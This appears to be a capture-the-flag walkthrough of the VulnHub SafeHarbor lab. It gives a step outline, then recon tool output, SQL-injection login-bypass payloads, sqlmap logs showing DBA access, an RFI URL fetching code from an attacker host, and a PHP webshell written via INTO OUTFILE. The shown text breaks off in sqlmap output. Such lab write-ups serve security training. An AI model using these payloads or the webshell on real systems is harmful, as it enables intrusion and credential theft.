-
Notifications
You must be signed in to change notification settings - Fork 9
/
Copy pathVulnHub SafeHarbor (Advanced)
4551 lines (3804 loc) · 233 KB
/
VulnHub SafeHarbor (Advanced)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
=======================================================================================================
Walkthrough of the SafeHarbor:1 VulnHub CTF
=======================================================================================================
Step 1. Scanning & Enumeration (Nmap + Nikto + SearchSploit)
+ SSH server (22/tcp)
+ OnlineBanking Website (80/tcp)
Step 2. Gaining access
1. Find and exploit a SQL injection flaw in the login page (login.php) that allows to bypass the authentication (manual exploit or SQLmap)
=> you can log into the website as admin, bill, etc..
2. Find and exploit a SQL injection flaw in the transfer page (/OnlineBanking/index.php?p=transfer) using SQLmap
=> The SQL injection allows to perform SQL queries as root (DBA) on the MySQL database supporting the Webiste
=> Recover the clear-text password of all the Website users and the password hahs of the MySQL root user
3. Review the content (php settings) of the page "/phpinfo.php" (identified with dirbuster)
=> allow_url_fopen : On => potential RFI
=> allow_url_include : On => potential RFI
=> open_basedir : no value => potential LFI
4. Find a Local File Include (LFI) issue ... however it is not exploitable
=> http://192.168.1.36/OnlineBanking/index.php?p=/../../../../../../../var/www/html/OnlineBanking/welcome
5. Run the tool KADMIUS to check for common LFI flaws and find a source code disclosure ("/OnlineBanking/index.php?p=php://filter/convert.base64-encode/resource=transfer")
=> Recover the clear-text password of the MySQL root user in the source code of several pages
$dbServer = mysqli_connect('mysql','root','TestPass123!', 'HarborBankUsers')
6. Find and exploit a Remote File Include (RFI) flaw (http://192.168.1.24/OnlineBanking/index.php?p=http://192.168.1.22:8000/about)
=> Gain a remote shell running as "www-data" on the Docker hosting the OnlineBanking Website
=> no privesc identified
7. Upload a Meterpreter shell and use it to set up a pivot and attack the other docker images available on the 'docker' network
=> Identify several Docker containers with services open (MySQL, Kibana, ElasticSearch)
=> I loggged into the MySQL database with the root password previosuly found and tried without success to privesc to gain a shell on the 'MySQL' docker
8. Find and exploit a RCE vulnerabilty (CVE-2015-1427 - ElasticSearch Search Groovy Sandbox Bypass) using a plugin of Metasploit
=> Gain a remote shell (meterpreter) running as "ROOT" on the Docker container hosting the ElasticSearch
9. Review the configuration of the docker image (look for privesc flaws + information gathering)
=> Find out that the Docker Remote API is accessible on the local IP adress 127.0.0.1:2375
Step 3. Privilege escalation to become Root on the host (Linux server Shafeharbour)
1. Create a local port forward rule with the metererper shell to be able to access easily the the Docker Remote API
2. Perform a privilege escalation attack using the docker client and the exposed docker socket (i.e. run a new container with a volume pointing to the root folder of the hosting Linux server)
=> Gain root access to the underlying Linux server 'safeharbor' and to the all docker containers
3. Change the password of the user 'absozed' to be able to easily log into the Linux server 'safeharbor' and run the tool 'Docker Bench for Security' that checks
for dozens of common best-practices around deploying Docker containers in production (https://github.com/docker/docker-bench-security)
=> the docker configuration has not been hardened ;-)
=======================================================================================================
Step 1. Scanning & Enumeration (Nmap + Nikto + WPscan)
=======================================================================================================
jeff@kali:~$ sudo netdiscover
Currently scanning: 192.168.117.0/16 | Screen View: Unique Hosts
6 Captured ARP Req/Rep packets, from 6 hosts. Total size: 360
_____________________________________________________________________________
IP At MAC Address Count Len MAC Vendor / Hostname
-----------------------------------------------------------------------------
192.168.1.3 14:0c:76:53:4d:4e 1 60 FREEBOX SAS
192.168.1.24 08:00:27:47:13:74 1 60 PCS Systemtechnik GmbH
192.168.1.29 f4:5c:89:c9:be:c5 1 60 Apple, Inc.
192.168.1.35 d4:25:8b:d6:cd:e2 1 60 Intel Corporate
192.168.1.254 68:a3:78:8b:0c:dd 1 60 FREEBOX SAS
192.168.27.1 14:0c:76:53:4d:4e 1 60 FREEBOX SAS
-------------------------------------------------------------------------------------------------------
jeff@kali:~$ sudo nmap -sS -sV -sC -p- -v 192.168.1.24
Starting Nmap 7.80 ( https://nmap.org ) at 2020-04-16 16:03 CEST
NSE: Loaded 151 scripts for scanning.
NSE: Script Pre-scanning.
Initiating NSE at 16:03
Completed NSE at 16:03, 0.00s elapsed
Initiating NSE at 16:03
Completed NSE at 16:03, 0.00s elapsed
Initiating NSE at 16:03
Completed NSE at 16:03, 0.00s elapsed
Initiating ARP Ping Scan at 16:03
Scanning 192.168.1.24 [1 port]
Completed ARP Ping Scan at 16:03, 0.04s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 16:03
Completed Parallel DNS resolution of 1 host. at 16:03, 0.11s elapsed
Initiating SYN Stealth Scan at 16:03
Scanning 192.168.1.24 [65535 ports]
Discovered open port 80/tcp on 192.168.1.24
Discovered open port 22/tcp on 192.168.1.24
Completed SYN Stealth Scan at 16:03, 3.67s elapsed (65535 total ports)
Initiating Service scan at 16:03
Scanning 2 services on 192.168.1.24
Completed Service scan at 16:03, 6.14s elapsed (2 services on 1 host)
NSE: Script scanning 192.168.1.24.
Initiating NSE at 16:03
Completed NSE at 16:03, 0.69s elapsed
Initiating NSE at 16:03
Completed NSE at 16:03, 0.01s elapsed
Initiating NSE at 16:03
Completed NSE at 16:03, 0.00s elapsed
Nmap scan report for 192.168.1.24
Host is up (0.00012s latency).
Not shown: 65532 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 fc:c6:49:ce:9b:54:7f:57:6d:56:b3:0a:30:47:83:b4 (RSA)
| 256 73:86:8d:97:2e:60:08:8a:76:24:3c:94:72:8f:70:f7 (ECDSA)
|_ 256 26:48:91:66:85:a2:39:99:f5:9b:62:da:f9:87:4a:e6 (ED25519)
80/tcp open http nginx 1.17.4
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.17.4
|_http-title: Login
2375/tcp filtered docker
MAC Address: 08:00:27:47:13:74 (Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
NSE: Script Post-scanning.
Initiating NSE at 16:03
Completed NSE at 16:03, 0.00s elapsed
Initiating NSE at 16:03
Completed NSE at 16:03, 0.00s elapsed
Initiating NSE at 16:03
Completed NSE at 16:03, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
-------------------------------------------------------------------------------------------------------
jeff@kali:~$ nikto -h http://192.168.1.24
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP: 192.168.1.24
+ Target Hostname: 192.168.1.24
+ Target Port: 80
+ Start Time: 2020-04-16 16:16:33 (GMT2)
---------------------------------------------------------------------------
+ Server: nginx/1.17.4
+ Cookie PHPSESSID created without the httponly flag
+ Retrieved x-powered-by header: PHP/7.2.7
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Web Server returns a valid response with junk HTTP methods, this may cause false positives.
+ DEBUG HTTP verb may show server debugging information. See http://msdn.microsoft.com/en-us/library/e8z01xdh%28VS.80%29.aspx for details.
+ /phpinfo.php: Output from the phpinfo() function was found.
+ OSVDB-3233: /phpinfo.php: PHP is installed, and a test script which runs phpinfo() was found. This gives a lot of system information.
+ /login.php: Admin login page/section found.
+ 7915 requests: 0 error(s) and 10 item(s) reported on remote host
+ End Time: 2020-04-16 16:17:27 (GMT2) (54 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
-------------------------------------------------------------------------------------------------------
jeff@kali:~$ dirb http://192.168.1.24
-----------------
DIRB v2.22
By The Dark Raver
-----------------
START_TIME: Thu Apr 16 16:17:54 2020
URL_BASE: http://192.168.1.24/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
-----------------
GENERATED WORDS: 4612
---- Scanning URL: http://192.168.1.24/ ----
+ http://192.168.1.24/phpinfo.php (CODE:200|SIZE:86210)-----------------
END_TIME: Thu Apr 16 16:18:05 2020
DOWNLOADED: 4612 - FOUND: 1
-------------------------------------------------------------------------------------------------------
jeff@kali:~$ searchsploit openssh
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
Exploit Title | Path
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
Debian OpenSSH - (Authenticated) Remote SELinux Privilege Escalation | exploits/linux/remote/6094.txt
Dropbear / OpenSSH Server - 'MAX_UNAUTH_CLIENTS' Denial of Service | exploits/multiple/dos/1572.pl
FreeBSD OpenSSH 3.5p1 - Remote Command Execution | exploits/freebsd/remote/17462.txt
Novell Netware 6.5 - OpenSSH Remote Stack Overflow | exploits/novell/dos/14866.txt
OpenSSH 1.2 - '.scp' File Create/Overwrite | exploits/linux/remote/20253.sh
OpenSSH 2.3 < 7.7 - Username Enumeration | exploits/linux/remote/45233.py
OpenSSH 2.3 < 7.7 - Username Enumeration (PoC) | exploits/linux/remote/45210.py
OpenSSH 2.x/3.0.1/3.0.2 - Channel Code Off-by-One | exploits/unix/remote/21314.txt
OpenSSH 2.x/3.x - Kerberos 4 TGT/AFS Token Buffer Overflow | exploits/linux/remote/21402.txt
OpenSSH 3.x - Challenge-Response Buffer Overflow (1) | exploits/unix/remote/21578.txt
OpenSSH 3.x - Challenge-Response Buffer Overflow (2) | exploits/unix/remote/21579.txt
OpenSSH 4.3 p1 - Duplicated Block Remote Denial of Service | exploits/multiple/dos/2444.sh
OpenSSH 6.8 < 6.9 - 'PTY' Local Privilege Escalation | exploits/linux/local/41173.c
OpenSSH 7.2 - Denial of Service | exploits/linux/dos/40888.py
OpenSSH 7.2p1 - (Authenticated) xauth Command Injection | exploits/multiple/remote/39569.py
OpenSSH 7.2p2 - Username Enumeration | exploits/linux/remote/40136.py
OpenSSH < 6.6 SFTP (x64) - Command Execution | exploits/linux_x86-64/remote/45000.c
OpenSSH < 6.6 SFTP - Command Execution | exploits/linux/remote/45001.py
OpenSSH < 7.4 - 'UsePrivilegeSeparation Disabled' Forwarded Unix Domain Sockets Privilege Escalation | exploits/linux/local/40962.txt
OpenSSH < 7.4 - agent Protocol Arbitrary Library Loading | exploits/linux/remote/40963.txt
OpenSSH < 7.7 - User Enumeration (2) | exploits/linux/remote/45939.py
OpenSSH SCP Client - Write Arbitrary Files | exploits/multiple/remote/46516.py
OpenSSH/PAM 3.6.1p1 - 'gossh.sh' Remote Users Ident | exploits/linux/remote/26.sh
OpenSSH/PAM 3.6.1p1 - Remote Users Discovery Tool | exploits/linux/remote/25.c
OpenSSHd 7.2p2 - Username Enumeration | exploits/linux/remote/40113.txt
Portable OpenSSH 3.6.1p-PAM/4.1-SuSE - Timing Attack | exploits/multiple/remote/3303.sh
glibc-2.2 / openssh-2.3.0p1 / glibc 2.1.9x - File Read | exploits/linux/local/258.sh
---------------------------------------------------------------------------------------------------------------------------------------------------------------- ----------------------------------------
Shellcodes: No Result
=======================================================================================================
jeff@kali:~/Documents/CTFs/SafeHarbor$ searchsploit nginx
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
Exploit Title | Path| (/usr/share/exploitdb/)
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
Nginx (Debian Based Distros + Gentoo) - 'logrotate' Local Privilege Escalation | exploits/linux/local/40768.sh
Nginx 0.6.36 - Directory Traversal | exploits/multiple/remote/12804.txt
Nginx 0.6.38 - Heap Corruption | exploits/linux/local/14830.py
Nginx 0.6.x - Arbitrary Code Execution NullByte Injection | exploits/multiple/webapps/24967.txt
Nginx 0.7.0 < 0.7.61 / 0.6.0 < 0.6.38 / 0.5.0 < 0.5.37 / 0.4.0 < 0.4.14 - Denial of Service (PoC) | exploits/linux/dos/9901.txt
Nginx 0.7.61 - WebDAV Directory Traversal | exploits/multiple/remote/9829.txt
Nginx 0.7.64 - Terminal Escape Sequence in Logs Command Injection | exploits/multiple/remote/33490.txt
Nginx 0.7.65/0.8.39 (dev) - Source Disclosure / Download | exploits/windows/remote/13822.txt
Nginx 0.8.36 - Source Disclosure / Denial of Service | exploits/windows/remote/13818.txt
Nginx 1.1.17 - URI Processing SecURIty Bypass | exploits/multiple/remote/38846.txt
Nginx 1.3.9 < 1.4.0 - Chuncked Encoding Stack Buffer Overflow (Metasploit) | exploits/linux/remote/25775.rb
Nginx 1.3.9 < 1.4.0 - Denial of Service (PoC) | exploits/linux/dos/25499.py
Nginx 1.3.9/1.4.0 (x86) - Brute Force | exploits/linux_x86/remote/26737.pl
Nginx 1.4.0 (Generic Linux x64) - Remote Overflow | exploits/linux_x86-64/remote/32277.txt
PHP-FPM + Nginx - Remote Code Execution | exploits/php/webapps/47553.md
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
Shellcodes: No Result
=======================================================================================================
Step 2. Gaining access
=======================================================================================================
1. Detect and exploit an SQL injection flaw in the login page (login.php) that allows to bypass the authentication (manual exploit or SQLmap)
=> you can log into the website as admin, bill, etc..
jeff@kali:~/Documents/CTFs/SafeHarbor$ cat SQLi-Login-request-burp
POST http://192.168.1.24/login.php HTTP/1.1
Host: 192.168.1.24
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.1.24/login.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 33
Connection: close
Cookie: PHPSESSID=5b650f738644be53c80d09a72ae96bba
Upgrade-Insecure-Requests: 1
user=admin*&password=admin*&s=Login
jeff@kali:~/Documents/CTFs/SafeHarbor$
------------------------------------------------------------------------------------------
jeff@kali:~$ sqlmap -f --users --passwords --privileges --dbms="MySQL" -r /home/jeff/Documents/CTFs/SafeHarbor/SQLi-Login-request-burp
___
__H__
___ ___["]_____ ___ ___ {1.4.3#stable}
|_ -| . [(] | .'| . |
|___|_ [(]_|_|_|__,| _|
|_|V... |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 17:05:29 /2020-04-16/
[17:05:29] [INFO] parsing HTTP request from '/home/jeff/Documents/CTFs/SafeHarbor/SQLi-Login-request-burp'
custom injection marker ('*') found in POST body. Do you want to process it? [Y/n/q] Y
[17:05:33] [INFO] testing connection to the target URL
[17:05:33] [INFO] testing if the target URL content is stable
[17:05:33] [INFO] target URL content is stable
[17:05:33] [INFO] testing if (custom) POST parameter '#1*' is dynamic
[17:05:33] [WARNING] (custom) POST parameter '#1*' does not appear to be dynamic
[17:05:33] [INFO] heuristic (basic) test shows that (custom) POST parameter '#1*' might be injectable (possible DBMS: 'MySQL')
[17:05:33] [INFO] testing for SQL injection on (custom) POST parameter '#1*'
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] Y
[17:05:37] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[17:05:37] [INFO] testing 'Boolean-based blind - Parameter replace (original value)'
[17:05:37] [INFO] testing 'Generic inline queries'
[17:05:37] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause (MySQL comment)'
got a 302 redirect to 'http://192.168.1.24:80/OnlineBanking/index.php?p=welcome'. Do you want to follow? [Y/n] n
[17:06:01] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause (MySQL comment)'
[17:06:03] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause (NOT - MySQL comment)'
[17:06:05] [INFO] testing 'MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause'
[17:06:09] [INFO] testing 'MySQL AND boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (MAKE_SET)'
<SNIP>
[17:08:11] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[17:08:11] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns'
[17:08:13] [INFO] testing 'MySQL UNION query (random number) - 1 to 10 columns'
[17:08:14] [WARNING] (custom) POST parameter '#1*' does not seem to be injectable
[17:08:14] [WARNING] (custom) POST parameter '#2*' does not appear to be dynamic
[17:08:14] [WARNING] heuristic (basic) test shows that (custom) POST parameter '#2*' might not be injectable
<SNIP>
---------------------------------------------------------------------------------------------
Examples of SQLi payloads to add in the field 'login' of the page 'login.php' to bypass the authentication and log into the Website
-----------------------------------------------------------------------------------------------------------------------------------
admin' AND 4584=4584#
bill' AND 34=34#
bill' AND @@version<6#
bill' AND @@version>5#
=> http://192.168.1.24:80/OnlineBanking/index.php?p=welcome
-------------------------------------------------------------------------------------------
2. Detect and exploit an SQL injection flaw in the transfer page (/OnlineBanking/index.php?p=transfer) using SQLmap
=> The SQL injection allows to perform SQL queries as root (DBA) on the MySQL database supporting the Webiste
=> Recover the clear-text password of all the Website users and the password hahs of the MySQL root user
SQLi in the parameter 'recipient' of the page 'OnlineBanking/index.php?p=transfer' detected manually and then exploited using SQLmap
-------------------------------------------------------------------------------------------------------------------------------------
jeff@kali:~/Documents/CTFs/SafeHarbor$ cat SQLi-Transfer-request-burp
POST http://192.168.1.24/OnlineBanking/index.php?p=transfer HTTP/1.1
Host: 192.168.1.24
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.1.24/OnlineBanking/index.php?p=transfer
Content-Type: application/x-www-form-urlencoded
Content-Length: 41
Connection: close
Cookie: PHPSESSID=f44c0c786d08026dccf04cbc22b8f94d
Upgrade-Insecure-Requests: 1
recipient=admin*&amount=0.00001&x=Submit
--------------------------------------------------
jeff@kali:~/Documents/CTFs/SafeHarbor$ sudo sqlmap --is-dba --current-user --current-db --dbms="MySQL" --level=3 --risk=3 -r SQLi-Transfer-request-burp
___
__H__
___ ___[.]_____ ___ ___ {1.4.3#stable}
|_ -| . ['] | .'| . |
|___|_ [.]_|_|_|__,| _|
|_|V... |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 21:01:55 /2020-04-16/
[21:01:55] [INFO] parsing HTTP request from 'SQLi-Transfer-request-burp'
custom injection marker ('*') found in POST body. Do you want to process it? [Y/n/q] Y
[21:01:59] [INFO] testing connection to the target URL
[21:01:59] [INFO] checking if the target is protected by some kind of WAF/IPS
[21:01:59] [INFO] testing if the target URL content is stable
[21:01:59] [INFO] target URL content is stable
[21:01:59] [INFO] testing if (custom) POST parameter '#1*' is dynamic
[21:01:59] [WARNING] (custom) POST parameter '#1*' does not appear to be dynamic
[21:01:59] [INFO] heuristic (basic) test shows that (custom) POST parameter '#1*' might be injectable (possible DBMS: 'MySQL')
[21:01:59] [INFO] testing for SQL injection on (custom) POST parameter '#1*'
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (3) value? [Y/n] Y
<SNIP>
[21:02:08] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause (subquery - comment)'
[21:02:08] [INFO] (custom) POST parameter '#1*' appears to be 'AND boolean-based blind - WHERE or HAVING clause (subquery - comment)' injectable (with --not-string="23")
[21:02:08] [INFO] testing 'Generic inline queries'
[21:02:08] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)'
<SNIP>
[21:02:08] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[21:02:08] [INFO] (custom) POST parameter '#1*' is 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)' injectable
[21:02:08] [INFO] testing 'MySQL inline queries'
[21:02:08] [INFO] testing 'MySQL >= 5.0.12 stacked queries (comment)'
[21:02:08] [INFO] testing 'MySQL >= 5.0.12 stacked queries'
<SNIP>
[21:02:08] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[21:02:28] [INFO] (custom) POST parameter '#1*' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable
[21:02:28] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[21:02:28] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[21:02:28] [INFO] 'ORDER BY' technique appears to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test
[21:02:28] [INFO] target URL appears to have 1 column in query
do you want to (re)try to find proper UNION column types with fuzzy test? [y/N] N
[21:02:39] [INFO] target URL appears to be UNION injectable with 1 columns
[21:02:39] [INFO] testing 'Generic UNION query (random number) - 1 to 20 columns'
<SNIP>
(custom) POST parameter '#1*' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 477 HTTP(s) requests:
---
Parameter: #1* ((custom) POST)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause (subquery - comment)
Payload: recipient=admin' AND 7337=(SELECT (CASE WHEN (7337=7337) THEN 7337 ELSE (SELECT 4342 UNION SELECT 5555) END))-- -&amount=0.00001&x=Submit
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
Payload: recipient=admin' AND (SELECT 8462 FROM(SELECT COUNT(*),CONCAT(0x71766b7671,(SELECT (ELT(8462=8462,1))),0x716b706271,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- coRV&amount=0.00001&x=Submit
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: recipient=admin' AND (SELECT 4847 FROM (SELECT(SLEEP(5)))kWRe)-- nzMi&amount=0.00001&x=Submit
---
[21:02:48] [INFO] the back-end DBMS is MySQL
[21:02:48] [WARNING] in case of continuous data retrieval problems you are advised to try a switch '--no-cast' or switch '--hex'
back-end DBMS: MySQL >= 5.0
[21:02:48] [INFO] fetching current user
[21:02:48] [INFO] retrieved: 'root@%'
current user: 'root@%'
[21:02:48] [INFO] fetching current database
[21:02:48] [INFO] retrieved: 'HarborBankUsers'
current database: 'HarborBankUsers'
[21:02:48] [INFO] testing if current user is DBA
[21:02:48] [INFO] fetching current user
current user is DBA: True
[21:02:48] [INFO] fetched data logged to text files under '/root/.sqlmap/output/192.168.1.24'
[*] ending @ 21:02:48 /2020-04-16/
jeff@kali:~/Documents/CTFs/SafeHarbor$
---------------------------------------------------
jeff@kali:~/Documents/CTFs/SafeHarbor$ sudo sqlmap --sql-shell --dbms="MySQL" -r SQLi-Transfer-request-burp
___
__H__
___ ___[)]_____ ___ ___ {1.4.3#stable}
|_ -| . [)] | .'| . |
|___|_ [,]_|_|_|__,| _|
|_|V... |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 21:19:29 /2020-04-16/
[21:19:29] [INFO] parsing HTTP request from 'SQLi-Transfer-request-burp'
custom injection marker ('*') found in POST body. Do you want to process it? [Y/n/q] Y
[21:19:31] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: #1* ((custom) POST)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause (subquery - comment)
Payload: recipient=admin' AND 7337=(SELECT (CASE WHEN (7337=7337) THEN 7337 ELSE (SELECT 4342 UNION SELECT 5555) END))-- -&amount=0.00001&x=Submit
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
Payload: recipient=admin' AND (SELECT 8462 FROM(SELECT COUNT(*),CONCAT(0x71766b7671,(SELECT (ELT(8462=8462,1))),0x716b706271,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- coRV&amount=0.00001&x=Submit
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: recipient=admin' AND (SELECT 4847 FROM (SELECT(SLEEP(5)))kWRe)-- nzMi&amount=0.00001&x=Submit
---
[21:19:31] [INFO] testing MySQL
[21:19:31] [INFO] confirming MySQL
[21:19:31] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0.0
[21:19:31] [INFO] calling MySQL shell. To quit type 'x' or 'q' and press ENTER
sql-shell> select "<?php echo shell_exec($_GET['cmd']);?>" into outfile "/var/www/html/webshell.php
[21:21:22] [WARNING] execution of non-query SQL statements is only available when stacked queries are supported
sql-shell> SELECT LOAD_FILE('/etc/passwd');
[21:23:36] [INFO] fetching SQL SELECT statement query output: 'SELECT LOAD_FILE('/etc/passwd')'
[21:23:36] [CRITICAL] unable to connect to the target URL. sqlmap is going to retry the request(s)
[21:23:36] [INFO] retrieved: ' '
SELECT LOAD_FILE('/etc/passwd'): ' '
sql-shell> select "<?php echo shell_exec($_GET['cmd']);?>" into outfile "/var/www/html/webshell.php"
[21:23:55] [WARNING] execution of non-query SQL statements is only available when stacked queries are supported
sql-shell> SELECT user,password,host from MYSQL.USER;
[21:26:08] [INFO] fetching SQL SELECT statement query output: 'SELECT user,password,host from MYSQL.USER'
[21:26:08] [CRITICAL] unable to connect to the target URL. sqlmap is going to retry the request(s)
[21:26:08] [WARNING] the SQL query provided does not return any output
[21:26:08] [INFO] the SQL query provided has more than one field. sqlmap will now unpack it into distinct queries to be able to retrieve the output even if we are going blind
